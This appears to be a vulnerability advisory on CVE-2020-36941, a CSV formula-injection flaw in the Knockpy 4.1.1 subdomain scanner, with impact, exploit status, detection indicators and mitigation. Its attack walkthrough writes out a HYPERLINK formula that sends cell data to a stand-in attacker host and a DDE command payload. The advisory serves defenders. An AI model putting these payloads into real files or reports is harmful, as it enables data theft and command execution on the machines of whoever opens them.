CVE-2020-36941: 
NixOS vulnerability analysis and mitigation

CVE-2020-36941 is a CSV injection vulnerability (also known as formula injection) in Knockpy version 4.1.1, a Python-based subdomain scanning tool. The vulnerability allows attackers to inject malicious spreadsheet formulas into CSV reports generated by Knockpy through unfiltered server response headers. When a user opens the resulting CSV file in a spreadsheet application, the injected formulas may execute automatically. It was published on January 27, 2026, and assigned a CVSS v3.1 base score of 9.8 (Critical) by NVD, though the more contextually accurate CVSS v4.0 score is 5.3 (Medium), reflecting the required user interaction (Feedly, VulnCheck).

The root cause is classified as CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). Knockpy 4.1.1 fails to sanitize server response headers before writing them into CSV report output, allowing an attacker-controlled web server to return headers containing formula characters (e.g., =, +, -, @) that are interpreted as executable formulas by spreadsheet applications such as Microsoft Excel or LibreOffice Calc. The attack vector is network-based: an attacker operates a malicious server that Knockpy scans, crafting HTTP response headers with embedded payloads. A public proof-of-concept exploit is available on Exploit-DB (Exploit-DB, VulnCheck).

When a Knockpy user opens a generated CSV report in a spreadsheet application, injected formulas can execute in the context of that application, potentially leading to data theft, credential harvesting, or arbitrary command execution depending on the spreadsheet application's security configuration. The impact is primarily on the operator running Knockpy rather than the scanned targets, as the malicious payload is delivered via server headers and stored in the report file. Exploitation requires user interaction (opening the CSV), but successful exploitation could result in full system compromise of the analyst's workstation (Feedly, VulnCheck).

A public proof-of-concept exploit is available on Exploit-DB (EDB-49342), referenced by NVD as added on March 24, 2026 (Exploit-DB). There is no evidence of active in-the-wild exploitation or threat actor attribution at this time. The EPSS score is approximately 0.045% (0.000450), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Set up a malicious server: Configure a web server to respond to HTTP requests with crafted response headers containing formula injection payloads, e.g., a Server header value of =HYPERLINK("http://attacker.com/"&A1,"Click") or =cmd|'/C calc'!A0.
2. Register a subdomain or domain: Ensure the malicious server is reachable at a domain or subdomain that Knockpy will scan and receive a response from.
3. Wait for Knockpy scan: When a security researcher or penetration tester runs Knockpy 4.1.1 against a target domain that includes the attacker-controlled subdomain, Knockpy fetches the HTTP response and records the unfiltered server headers into the CSV report.
4. Deliver the CSV: The CSV report is saved locally by the Knockpy operator. The attacker relies on the operator opening this file in a spreadsheet application (e.g., Microsoft Excel, LibreOffice Calc).
5. Formula execution: Upon opening the CSV, the spreadsheet application evaluates the injected formula, potentially executing system commands, exfiltrating data, or establishing a connection to the attacker's infrastructure (Exploit-DB, VulnCheck).

• File System: CSV report files generated by Knockpy 4.1.1 containing cells starting with =, +, -, or @ in header-derived fields (e.g., Server, X-Powered-By columns).
• Network: Outbound HTTP/HTTPS connections from a spreadsheet application process (e.g., EXCEL.EXE, soffice.bin) to unexpected external hosts shortly after opening a Knockpy CSV report.
• Process: Unusual child processes spawned by spreadsheet applications (e.g., cmd.exe, powershell.exe, bash) following the opening of a Knockpy-generated CSV file.
• Logs: Spreadsheet application event logs or Windows Event Logs showing macro or DDE execution events triggered from a CSV file originating from a Knockpy scan output directory.

Users should upgrade Knockpy to a version newer than 4.1.1; the current release (v9.0, available on GitHub) has significantly refactored the codebase and CSV/report handling (Knockpy GitHub). As an interim measure, restrict access to Knockpy's CSV export functionality and avoid opening CSV reports from scans of untrusted or unknown domains in spreadsheet applications. Configure spreadsheet applications to disable automatic formula execution or open CSV files in protected/read-only mode. Manually review CSV output and sanitize any cells beginning with =, +, -, or @ before opening in a spreadsheet application (VulnCheck).